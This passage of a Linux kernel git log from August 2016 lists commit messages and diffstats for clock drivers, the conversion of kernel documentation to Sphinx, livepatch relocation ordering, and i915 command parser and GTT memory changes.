clock control/status register on cluster group V3 version is different from others, and should be plus 0x70000. Signed-off-by: Tang Yuantian Reviewed-by: Scott Wood Fixes: 9e19ca2f627e ("clk: qoriq: Add ls2080a support.") Signed-off-by: Stephen Boyd drivers/clk/clk-qoriq.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 5f0962748d46c63aaf5c46dcb1c8f52dfb7b717f Author: Jonathan Corbet Date: Mon Aug 8 15:55:49 2016 -0600 docs: Sphinxify gdb-kernel-debugging.txt and move to dev-tools Acked-by: Jan Kiszka Signed-off-by: Jonathan Corbet Documentation/dev-tools/gdb-kernel-debugging.rst | 173 +++++++++++++++++++++++ Documentation/dev-tools/tools.rst | 1 + Documentation/gdb-kernel-debugging.txt | 160 --------------------- 3 files changed, 174 insertions(+), 160 deletions(-) commit 9c296b46c67ed323538bca80a8be1f0b10e570a0 Author: Jonathan Corbet Date: Sun Aug 7 16:12:28 2016 -0600 docs: sphinxify kmemcheck.txt and move to dev-tools Cc: Vegard Nossum Cc: Pekka Enberg Signed-off-by: Jonathan Corbet Documentation/dev-tools/kmemcheck.rst | 733 +++++++++++++++++++++++++++++++++ Documentation/dev-tools/tools.rst | 1 + Documentation/kmemcheck.txt | 754 ---------------------------------- MAINTAINERS | 2 +- 4 files changed, 735 insertions(+), 755 deletions(-) commit 9b4cac33adc7716bb232b3a82a5ed0806286fe9a Author: Stephen Boyd Date: Tue Aug 16 15:38:56 2016 -0700 clk: max77686: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Reviewed-by: Javier Martinez Canillas Tested-by: Javier Martinez Canillas Cc: Laxman Dewangan Reviewed-by: Krzysztof Kozlowski Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-max77686.c | 42 +++++++++++++++++++++--------------------- 1 file changed, 21 insertions(+), 21 deletions(-) commit ca90a7a38741adf5ce450572952fbbda35055ea4 Author: Jonathan Corbet Date: Sun Aug 7 15:46:10 2016 -0600 docs: sphinxify kmemleak.txt and move it to dev-tools Acked-by: Catalin Marinas Signed-off-by: Jonathan Corbet Documentation/dev-tools/kmemleak.rst | 210 +++++++++++++++++++++++++++++++++++ Documentation/dev-tools/tools.rst | 1 + Documentation/kmemleak.txt | 203 --------------------------------- MAINTAINERS | 2 +- 4 files changed, 212 insertions(+), 204 deletions(-) commit 1ead009cd622bc4c3c2cf1036d8e71d7f063838e Author: Jonathan Corbet Date: Sun Aug 7 15:35:42 2016 -0600 docs: sphinxify ubsan.txt and move it to dev-tools Acked-by: Andrey Ryabinin Signed-off-by: Jonathan Corbet Documentation/dev-tools/tools.rst | 1 + Documentation/dev-tools/ubsan.rst | 88 +++++++++++++++++++++++++++++++++++++++ Documentation/ubsan.txt | 84 ------------------------------------- 3 files changed, 89 insertions(+), 84 deletions(-) commit 2757aafad9ee7b8740042e5540b59422337344ab Author: Jonathan Corbet Date: Sun Aug 7 15:31:03 2016 -0600 docs: sphinxify kasan.txt and move to dev-tools No textual changes beyond formatting. Acked-by: Andrey Ryabinin Acked-by: Alexander Potapenko Cc: Dmitry Vyukov Signed-off-by: Jonathan Corbet Documentation/dev-tools/kasan.rst | 173 ++++++++++++++++++++++++++++++++++++++ Documentation/dev-tools/tools.rst | 1 + Documentation/kasan.txt | 171 ------------------------------------- MAINTAINERS | 2 +- 4 files changed, 175 insertions(+), 172 deletions(-) commit 2584bab2f990281244d3f39dc15cd9bd6d69f51d Author: Jonathan Corbet Date: Sun Aug 7 15:26:20 2016 -0600 docs: sphinixfy gcov.txt and move to dev-tools No textual changes beyond formatting. Cc: Peter Oberparleiter Signed-off-by: Jonathan Corbet Documentation/dev-tools/gcov.rst | 256 +++++++++++++++++++++++++++++++++++++ Documentation/dev-tools/tools.rst | 1 + Documentation/gcov.txt | 257 -------------------------------------- MAINTAINERS | 2 +- 4 files changed, 258 insertions(+), 258 deletions(-) commit 758f726e7f7c5a09d8627e6e6ad914e568b31a5c Author: Jonathan Corbet Date: Sun Aug 7 15:13:00 2016 -0600 docs: sphinxify kcov.txt and move to dev-tools Another document added to the dev-tools collection. Cc: Dmitry Vyukov Signed-off-by: Jonathan Corbet Documentation/dev-tools/kcov.rst | 111 ++++++++++++++++++++++++++++++++++++++ Documentation/dev-tools/tools.rst | 1 + Documentation/kcov.txt | 111 -------------------------------------- 3 files changed, 112 insertions(+), 111 deletions(-) commit 91d17dc341795731794b7284f6f32f07ebdd7a86 Merge: f6475e2 b51d527 Author: Stephen Boyd Date: Thu Aug 18 16:41:05 2016 -0700 Merge tag 'clk-renesas-for-v4.9-tag1' of git://git.kernel.org/pub/scm/linux/kernel/git/geert/renesas-drivers into clk-next Merge r8a7796 watchdog clk support from Geert Uytterhoeven: Add all clocks related to the Watchdog Timer (WDT) controller on the Renesas R-Car M3-W (r8a7796) SoC. * tag 'clk-renesas-for-v4.9-tag1' of git://git.kernel.org/pub/scm/linux/kernel/git/geert/renesas-drivers: clk: renesas: r8a7796: Add watchdog module clock clk: renesas: r8a7796: Add watchdog core clocks commit d228af5bcb60fda50f8b3a100c0539c4994df040 Author: Jonathan Corbet Date: Sun Aug 7 15:09:14 2016 -0600 docs: sphinxify sparse.txt and move to dev-tools Fold the sparse document into the development tools set; no changes to the text itself beyond formatting. Signed-off-by: Jonathan Corbet Documentation/dev-tools/sparse.rst | 117 +++++++++++++++++++++++++++++++++++++ Documentation/dev-tools/tools.rst | 1 + Documentation/sparse.txt | 108 ---------------------------------- 3 files changed, 118 insertions(+), 108 deletions(-) commit 4b9033a33494ec9154d63e706e9e47f7eb3fd59e Author: Jonathan Corbet Date: Mon Aug 8 16:03:14 2016 -0600 docs: sphinxify coccinelle.txt and add it to dev-tools No textual changes have been made, but the formatting has obviously been tweaked. Cc: Michal Marek Cc: Gilles Muller Acked-by: Nicolas Palix Acked-by: Julia Lawall Signed-off-by: Jonathan Corbet Documentation/coccinelle.txt | 470 ------------------------------- Documentation/dev-tools/coccinelle.rst | 491 +++++++++++++++++++++++++++++++++ Documentation/dev-tools/tools.rst | 1 + MAINTAINERS | 2 +- 4 files changed, 493 insertions(+), 471 deletions(-) commit 059c5e918f6613d7062f27705488e5bd72cd09bd Author: Jonathan Corbet Date: Mon Aug 8 16:00:25 2016 -0600 docs: create a new dev-tools directory This directory will be a collecting point for documentation oriented around development tools. As a step toward ordering Documentation/ it's a small one, but we have to start somewhere... Signed-off-by: Jonathan Corbet Documentation/dev-tools/tools.rst | 16 ++++++++++++++++ Documentation/index.rst | 1 + 2 files changed, 17 insertions(+) commit 5dc6911f16107f7fb3f87369c2eadcb2bee6449a Merge: cc935bb 44f4ddd Author: Jonathan Corbet Date: Thu Aug 18 17:22:10 2016 -0600 Merge branch 'doc/4.9' into docs-next commit 44f4ddd1bff04196349ab229a6a08e5223fe1594 Merge: 59058a7 d4fe7e1 Author: Jonathan Corbet Date: Thu Aug 18 17:16:14 2016 -0600 Merge branch 'xelatex' into doc/4.9 Mauro says: This patch series fix Sphinx to allow it to build the media documentation as a PDF file. The first patch is actually a bug fix: one of the previous patch broke compilation for PDF as a hole, as it added an extra parenthesis to a function call. The second patch just removes a left over code for rst2pdf. The other patches change from "pdflatex" to "xelatex" and address several issues that prevent building the media books. I think this patch series belong to docs-next. Feel free to merge them there, if you agree. There's one extra patch that touches Documentation/conf.py, re-adding the media book to the PDF build, but IMHO this one would be better to be merged via the media tree, after the fixes inside the media documentation to fix the build. commit d4fe7e14e4ff5d90286397180831a35df502969e Author: Mauro Carvalho Chehab Date: Tue Aug 16 13:25:43 2016 -0300 docs-rst: enable the Sphinx math extension This extension will be used by the media books. The name of the math image extension changed on Sphinx 1.4.x, according with: http://www.sphinx-doc.org/en/stable/ext/math.html#module-sphinx.ext.imgmath Let's autodetect, to keep building with versions < 1.4. Suggested-by: Markus Heiser Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/conf.py | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 8b8bbf8fe5cfd9aada5f29dc6f6e5b8e4320d058 Author: Mauro Carvalho Chehab Date: Tue Aug 16 13:25:42 2016 -0300 docs-rst: Don't go to interactive mode on errors When building for LaTeX, it stops and enters into interactive mode on errors. Don't do that, as there are some non-fatal errors on media books when using Sphinx 1.4.x that we don't know how fix yet. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/Makefile.sphinx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 999d998eee3dc1a4942b56f178be363844ea3729 Author: Mauro Carvalho Chehab Date: Tue Aug 16 13:25:41 2016 -0300 docs-rst: parse-heraders.pl: escape LaTeX characters Let's escape the LaTeX characters, to avoid troubles when outputing them. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/sphinx/parse-headers.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 85c21e5c3ee74fb75d690c57f7066bae7e2dca55 Author: Mauro Carvalho Chehab Date: Tue Aug 16 13:25:40 2016 -0300 docs-rst: better adjust margins and font size As we have big tables, reduce the left/right margins and decrease the point size to 8pt. Visually, it is still good enough, and now less tables are too big to be displayed. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/conf.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit a682ec4ba10c88231cdbb8bb9823b2cc749d6364 Author: Mauro Carvalho Chehab Date: Tue Aug 16 13:25:39 2016 -0300 docs-rst: Don't mangle with UTF-8 chars on LaTeX/PDF output pdflatex doesn't accept using some UTF-8 chars, like "equal or less than" or "equal or greater than" chars. However, the media documents use them. So, we need to use XeLaTeX for conversion, and a font that accepts such characters. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/Makefile.sphinx | 6 +++--- Documentation/conf.py | 11 +++++++++++ 2 files changed, 14 insertions(+), 3 deletions(-) commit 60459774659267569b4d944fcecb372ad0c48629 Author: Mauro Carvalho Chehab Date: Tue Aug 16 13:25:38 2016 -0300 docs-rst: improve output for .. notes:: on LaTeX The output for those notes are bad in pdf, as they're not in a box with a different color. Also, it causes the output to not build if the note is inside a table. Change its implementation to avoid the above troubles. The logic there came from: https://stackoverflow.com/questions/606746/how-to-customize-an-existing-latex-environment-without-interfering-with-other-en Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/conf.py | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit caee5cdede9c9b3562abd6a93c71e791577802ad Author: Mauro Carvalho Chehab Date: Tue Aug 16 13:25:37 2016 -0300 docs-rst: allow generating some LaTeX pages in landscape Portrait is too small for some tables used at the media docs. So, allow documents to tell Sphinx to generate some pages in landscape by using: .. raw:: latex \begin{landscape} .. raw:: latex \end{landscape} Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/conf.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit a69ab10869941f45b5f1291ec482df1e9bd7895f Author: Mauro Carvalho Chehab Date: Tue Aug 16 13:25:36 2016 -0300 docs-rst: remove a rst2pdf left over code The usage of rst2pdf was replaced by pdflatex on a previous patch. Remove the left-over code at conf.py. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/conf.py | 7 ------- 1 file changed, 7 deletions(-) commit 16dbe8042eb5df72ee761c24a383e4a5e11d540b Author: Mauro Carvalho Chehab Date: Tue Aug 16 13:25:35 2016 -0300 docs-rst: fix a breakage when building PDF documents changeset 606b9ac81a63 ("doc-rst: generic way to build only sphinx sub-folders") accidentally broke PDF generation by adding an extra ")". Remove it. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Jonathan Corbet Documentation/Makefile.sphinx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 59058a7adc4b10f357cc5e7cbcda0b2d45940258 Author: Laura Abbott Date: Tue Aug 16 09:30:31 2016 -0700 mm, kasan: Update kasan docs to indicate arm64 support KASAN has been supported on arm64 since 39d114ddc682 ("arm64: add KASAN support"). Update the docs to indicate this. Signed-off-by: Laura Abbott Acked-by: Andrey Ryabinin Signed-off-by: Jonathan Corbet Documentation/kasan.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6f27ab3e424a9532fd8e36c8732abb38eb0da993 Author: Elaine Zhang Date: Thu Aug 18 18:24:39 2016 +0800 soc: rockchip: support active_wakeup for rockchip power-domains Register gpd_dev_ops.active_wakeup function to support keep power during suspend state. And add flag to each power domain to decide whether keep power during suspend or not. Signed-off-by: Elaine Zhang Signed-off-by: Heiko Stuebner drivers/soc/rockchip/pm_domains.c | 100 ++++++++++++++++++++++---------------- 1 file changed, 57 insertions(+), 43 deletions(-) commit 5ad75fcdd712d18b393c3b3fe52ab4108703d337 Author: Jessica Yu Date: Wed Aug 17 20:58:30 2016 -0400 Documentation: livepatch: add section about arch-specific code Document usage of arch-specific elf sections in livepatch as well as implementation of arch-specific code. [jkosina@suse.cz: fix wording as suggested by Petr Mladek] Signed-off-by: Jessica Yu Reviewed-by: Petr Mladek Signed-off-by: Jiri Kosina Documentation/livepatch/module-elf-format.txt | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) commit d4c3e6e1b193497da3a2ce495fb1db0243e41e37 Author: Jessica Yu Date: Wed Aug 17 20:58:29 2016 -0400 livepatch/x86: apply alternatives and paravirt patches after relocations Implement arch_klp_init_object_loaded() for x86, which applies alternatives/paravirt patches. This fixes the order in which relocations and alternatives/paravirt patches are applied. Previously, if a patch module had alternatives or paravirt patches, these were applied first by the module loader before livepatch can apply per-object relocations. The (buggy) sequence of events was: (1) Load patch module (2) Apply alternatives and paravirt patches to patch module * Note that these are applied to the new functions in the patch module (3) Apply per-object relocations to patch module when target module loads. * This clobbers what was written in step 2 This lead to crashes and corruption in general, since livepatch would overwrite or step on previously applied alternative/paravirt patches. The correct sequence of events should be: (1) Load patch module (2) Apply per-object relocations to patch module (3) Apply alternatives and paravirt patches to patch module This is fixed by delaying paravirt/alternatives patching until after relocations are applied. Any .altinstructions or .parainstructions sections are prefixed with ".klp.arch.${objname}" and applied in arch_klp_init_object_loaded(). Signed-off-by: Jessica Yu Acked-by: Miroslav Benes Signed-off-by: Jiri Kosina arch/x86/kernel/Makefile | 1 + arch/x86/kernel/livepatch.c | 65 +++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 66 insertions(+) commit 255e732c61dbb6a0bf9e0a3d6bc45f202853c880 Author: Jessica Yu Date: Wed Aug 17 20:58:28 2016 -0400 livepatch: use arch_klp_init_object_loaded() to finish arch-specific tasks Introduce arch_klp_init_object_loaded() to complete any additional arch-specific tasks during patching. Architecture code may override this function. Signed-off-by: Jessica Yu Reviewed-by: Petr Mladek Acked-by: Miroslav Benes Signed-off-by: Jiri Kosina include/linux/livepatch.h | 3 +++ kernel/livepatch/core.c | 16 +++++++++++++--- 2 files changed, 16 insertions(+), 3 deletions(-) commit 52a42cec4b7088599a9f51187c454d45c460167a Author: Chris Wilson Date: Thu Aug 18 17:17:18 2016 +0100 drm/i915/cmdparser: Accelerate copies from WC memory If we need to use clflush to prepare our batch for reads from memory, we can bypass the cache instead by using non-temporal copies. Signed-off-by: Chris Wilson Reviewed-by: Matthew Auld Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-39-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_cmd_parser.c | 70 +++++++++++++++++++++------------- 1 file changed, 43 insertions(+), 27 deletions(-) commit 76ff480ec9633d689a14e15bc0e3d10a84e6853b Author: Chris Wilson Date: Thu Aug 18 17:17:17 2016 +0100 drm/i915/cmdparser: Use binary search for faster register lookup A significant proportion of the cmdparsing time for some batches is the cost to find the register in the mmiotable. We ensure that those tables are in ascending order such that we could do a binary search if it was ever merited. It is. Signed-off-by: Chris Wilson Reviewed-by: Matthew Auld Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-38-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_cmd_parser.c | 42 ++++++++++++++++------------------ 1 file changed, 20 insertions(+), 22 deletions(-) commit ea884f09e59951af54976881337309e76b00ec20 Author: Chris Wilson Date: Thu Aug 18 17:17:16 2016 +0100 drm/i915/cmdparser: Check for SKIP descriptors first If the command descriptor says to skip it, ignore checking for anyother other conflict. Signed-off-by: Chris Wilson Reviewed-by: Matthew Auld Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-37-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_cmd_parser.c | 3 +++ 1 file changed, 3 insertions(+) commit efdfd91f9b234638705d79a2b2f0a6ac8a5f99e8 Author: Chris Wilson Date: Thu Aug 18 17:17:15 2016 +0100 drm/i915/cmdparser: Compare against the previous command descriptor On the blitter (and in test code), we see long sequences of repeated commands, e.g. XY_PIXEL_BLT, XY_SCANLINE_BLT, or XY_SRC_COPY. For these, we can skip the hashtable lookup by remembering the previous command descriptor and doing a straightforward compare of the command header. The corollary is that we need to do one extra comparison before lookup up new commands. v2: Less magic mask (ok, it is still magic, but now you cannot see!) Signed-off-by: Chris Wilson Reviewed-by: Matthew Auld Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-36-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_cmd_parser.c | 21 ++++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) commit d6a4ead7a38666b9acdb098012a178c4c4950eca Author: Chris Wilson Date: Thu Aug 18 17:17:14 2016 +0100 drm/i915/cmdparser: Improve hash function The existing code's hashfunction is very suboptimal (most 3D commands use the same bucket degrading the hash to a long list). The code even acknowledge that the issue was known and the fix simple: /* * If we attempt to generate a perfect hash, we should be able to look at bits * 31:29 of a command from a batch buffer and use the full mask for that * client. The existing INSTR_CLIENT_MASK/SHIFT defines can be used for this. */ Signed-off-by: Chris Wilson Reviewed-by: Matthew Auld Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-35-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_cmd_parser.c | 51 +++++++++++++++++++++------------- 1 file changed, 31 insertions(+), 20 deletions(-) commit ed13033f0287051577bc1678cde63a42fa419f3c Author: Chris Wilson Date: Thu Aug 18 17:17:13 2016 +0100 drm/i915/cmdparser: Only cache the dst vmap For simplicity, we want to continue using a contiguous mapping of the command buffer, but we can reduce the number of vmappings we hold by switching over to a page-by-page copy from the user batch buffer to the shadow. The cost for saving one linear mapping is about 5% in trivial workloads - which is more or less the overhead in calling kmap_atomic(). Signed-off-by: Chris Wilson Reviewed-by: Matthew Auld Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-34-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_cmd_parser.c | 33 +++++++++++++++++++-------------- 1 file changed, 19 insertions(+), 14 deletions(-) commit 0b5372727be37944239100ff05a63df9771c8484 Author: Chris Wilson Date: Thu Aug 18 17:17:12 2016 +0100 drm/i915/cmdparser: Use cached vmappings The single largest factor in the overhead of parsing the commands is the setup of the virtual mapping to provide a continuous block for the batch buffer. If we keep those vmappings around (against the better judgement of mm/vmalloc.c, which we offset by handwaving and looking suggestively at the shrinker) we can dramatically improve the performance of the parser for small batches (such as media workloads). Furthermore, we can use the prepare shmem read/write functions to determine how best we need to clflush the range (rather than every page of the object). The impact of caching both src/dst vmaps is +80% on ivb and +140% on byt for the throughput on small batches. (Caching just the dst vmap and iterating over the src, doing a page by page copy is roughly 5% slower on both platforms. That may be an acceptable trade-off to eliminate one cached vmapping, and we may be able to reduce the per-page copying overhead further.) For *this* simple test case, the cmdparser is now within a factor of 2 of ideal performance. Signed-off-by: Chris Wilson Cc: Matthew Auld Reviewed-by: Matthew Auld Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-33-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_cmd_parser.c | 127 +++++++++++------------------ drivers/gpu/drm/i915/i915_gem_execbuffer.c | 8 +- 2 files changed, 54 insertions(+), 81 deletions(-) commit 068715b922a6f87c454cdfa15bb8049d2076eee6 Author: Chris Wilson Date: Thu Aug 18 17:17:11 2016 +0100 drm/i915/cmdparser: Add the TIMESTAMP register for the other engines Since I have been using the BCS_TIMESTAMP to measure latency of execution upon the blitter ring, allow regular userspace to also read from that register. They are already allowed RCS_TIMESTAMP! Signed-off-by: Chris Wilson Reviewed-by: Matthew Auld Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-32-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_cmd_parser.c | 5 +++++ 1 file changed, 5 insertions(+) commit 7756e454077197df57c51cc2f7ae844ec6ce9fba Author: Chris Wilson Date: Thu Aug 18 17:17:10 2016 +0100 drm/i915/cmdparser: Make initialisation failure non-fatal If the developer adds a register in the wrong order, we BUG during boot. That makes development and testing very difficult. Let's be a bit more friendly and disable the command parser with a big warning if the tables are invalid. Signed-off-by: Chris Wilson Reviewed-by: Matthew Auld Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-31-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_cmd_parser.c | 27 ++++++++++++++------------- drivers/gpu/drm/i915/i915_drv.h | 2 +- drivers/gpu/drm/i915/intel_engine_cs.c | 6 ++++-- 3 files changed, 19 insertions(+), 16 deletions(-) commit cd3127d684f027f7c85aec57e284dcecd033dccf Author: Chris Wilson Date: Thu Aug 18 17:17:09 2016 +0100 drm/i915: Stop discarding GTT cache-domain on unbind vma Since commit 43566dedde54 ("drm/i915: Broaden application of set-domain(GTT)") we allowed objects to be in the GTT domain, but unbound. Therefore removing the GTT cache domain when removing the GGTT vma is no longer semantically correct. An unfortunate side-effect is we lose the wondrously named i915_gem_object_finish_gtt(), not to be confused with i915_gem_gtt_finish_object()! Signed-off-by: Chris Wilson Cc: Akash Goel Cc: Joonas Lahtinen Cc: Tvrtko Ursulin Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-30-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 26 +++----------------------- 1 file changed, 3 insertions(+), 23 deletions(-) commit 383d5823e938129fe10c76e0032a22734849049c Author: Chris Wilson Date: Thu Aug 18 17:17:08 2016 +0100 drm/i915: Bump the inactive tracking for all VMA accessed We track the LRU access for eviction and bump the last access for the user GGTT on set-to-gtt. When we do so we need to not only bump the primary GGTT VMA but all partials as well. Similarly we want to bump the last access tracking for when unpinning an object from the scanout so that they do not get promptly evicted and hopefully remain available for reuse on the next frame. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-29-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 29 +++++++++++++++++++++++------ 1 file changed, 23 insertions(+), 6 deletions(-) commit d8923dcfa53d59886d432a3fc430e26cb92ce86a Author: Chris Wilson Date: Thu Aug 18 17:17:07 2016 +0100 drm/i915: Track display alignment on VMA When using the aliasing ppgtt and pageflipping with the shrinker/eviction active, we note that we often have to rebind the backbuffer before flipping onto the scanout because it has an invalid alignment. If we store the worst-case alignment required for a VMA, we can avoid having to rebind at critical junctures. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-28-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 21 ++++++++------------- drivers/gpu/drm/i915/i915_gem_gtt.h | 1 + 2 files changed, 9 insertions(+), 13 deletions(-) commit 2efb813d5388e18255c54afac77bd91acd586908 Author: Chris Wilson Date: Thu Aug 18 17:17:06 2016 +0100 drm/i915: Fallback to using unmappable memory for scanout The existing ABI says that scanouts are pinned into the mappable region so that legacy clients (e.g. old Xorg or plymouthd) can write directly into the scanout through a GTT mapping. However if the surface does not fit into the mappable region, we are better off just trying to fit it anywhere and hoping for the best. (Any userspace that is capable of using ginormous scanouts is also likely not to rely on pure GTT updates.) With the partial vma fault support, we are no longer restricted to only using scanouts that we can pin (though it is still preferred for performance reasons and for powersaving features like FBC). v2: Skip fence pinning when not mappable. v3: Add a comment to explain the possible ramifications of not being able to use fences for unmappable scanouts. v4: Rebase to skip over some local patches v5: Rebase to defer until after we have unmappable GTT fault support Signed-off-by: Chris Wilson Cc: Deepak S Cc: Damien Lespiau Cc: Daniel Vetter Cc: Jani Nikula Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-27-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 14 ++++++++++---- drivers/gpu/drm/i915/intel_fbc.c | 4 ++++ 2 files changed, 14 insertions(+), 4 deletions(-) commit 821188778b9be2050d45490c4b2b009d51f041e0 Author: Chris Wilson Date: Thu Aug 18 17:17:05 2016 +0100 drm/i915: Choose not to evict faultable objects from the GGTT Often times we do not want to evict mapped objects from the GGTT as these are quite expensive to teardown and frequently reused (causing an equally, if not more so, expensive setup). In particular, when faulting in a new object we want to avoid evicting an active object, or else we may trigger a page-fault-of-doom as we ping-pong between evicting two objects. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-26-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 12 ++++++++++-- drivers/gpu/drm/i915/i915_gem_evict.c | 7 +++++-- drivers/gpu/drm/i915/i915_gem_gtt.h | 1 + 3 files changed, 16 insertions(+), 4 deletions(-) commit 50349247ea807ad0950bbcedb1abb576e6a785db Author: Chris Wilson Date: Thu Aug 18 17:17:04 2016 +0100 drm/i915: Drop ORIGIN_GTT for untracked GTT writes If FBC is set on a framebuffer that is unmapped, all GTT faults will be from a partial mapping. Writes by the user through the partial VMA are then untracked by the FBC and so we must use the ORIGIN_CPU when flushing the I915_GEM_DOMAIN_GTT. v2: Keep ORIGIN_CPU for set-to-domain(.write=CPU) Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Cc: Daniel Vetter Cc: "Zanoni, Paulo R" Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-25-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 2 +- drivers/gpu/drm/i915/i915_gem.c | 12 +++++++++--- 2 files changed, 10 insertions(+), 4 deletions(-) commit aa136d9d72c2f9c4925ff86eebc86748fa069beb Author: Chris Wilson Date: Thu Aug 18 17:17:03 2016 +0100 drm/i915: Convert partial ggtt vma to full ggtt if it spans the entire object If we want to create a partial vma from a chunk that is the same size as the object, create a normal ggtt vma instead. The benefit is that it will match future requests for the normal ggtt. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-24-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 6 ++++++ 1 file changed, 6 insertions(+) commit a61007a83a4671da77210790997d5c8c92ed87ea Author: Chris Wilson Date: Thu Aug 18 17:17:02 2016 +0100 drm/i915: Fix partial GGTT faulting We want to always use the partial VMA as a fallback for a failure to bind the object into the GGTT. This extends the support partial objects in the GGTT to cover everything, not just objects too large. v2: Call the partial view, view not partial. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-23-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 61 ++++++++++++++++++++--------------------- 1 file changed, 30 insertions(+), 31 deletions(-) commit 03af84fe7f48937941fbb4dcd6cf66c68ae0edd4 Author: Chris Wilson Date: Thu Aug 18 17:17:01 2016 +0100 drm/i915: Choose partial chunksize based on tile row size In order to support setting up fences for partial mappings of an object, we have to align those mappings with the fence. The minimum chunksize we choose is at least the size of a single tile row. v2: Make minimum chunk size a define for later use Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-22-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) commit 49ef5294cda256aa5496ba56bbf859d3c7a17e07 Author: Chris Wilson Date: Thu Aug 18 17:17:00 2016 +0100 drm/i915: Move fence tracking from object to vma In order to handle tiled partial GTT mmappings, we need to associate the fence with an individual vma. v2: A couple of silly drops replaced spotted by Joonas Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160818161718.27187-21-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 16 +- drivers/gpu/drm/i915/i915_drv.h | 82 ++++-- drivers/gpu/drm/i915/i915_gem.c | 30 +- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 20 +- drivers/gpu/drm/i915/i915_gem_fence.c | 422 +++++++++++------------------ drivers/gpu/drm/i915/i915_gem_gtt.c | 2 + drivers/gpu/drm/i915/i915_gem_gtt.h | 8 + drivers/gpu/drm/i915/i915_gem_tiling.c | 67 +++-- drivers/gpu/drm/i915/i915_gpu_error.c | 2 +- drivers/gpu/drm/i915/intel_display.c | 57 ++-- drivers/gpu/drm/i915/intel_fbc.c | 10 +- drivers/gpu/drm/i915/intel_overlay.c | 2 +- 12 files changed, 330 insertions(+), 388 deletions(-) commit a1e5afbe4d5b6a0b1e3ffb32ec11dd51887ca7a3 Author: Chris Wilson Date: Thu Aug 18 17:16:59 2016 +0100 drm/i915: Rename fence.lru_list to link Our current practice is to only name the actual list (here dev_priv->fence_list) using "list", and elements upon that list are referred to as "link". Further, the lru nature is of the list and not of the node and including in the name does not disambiguate the link from anything else. 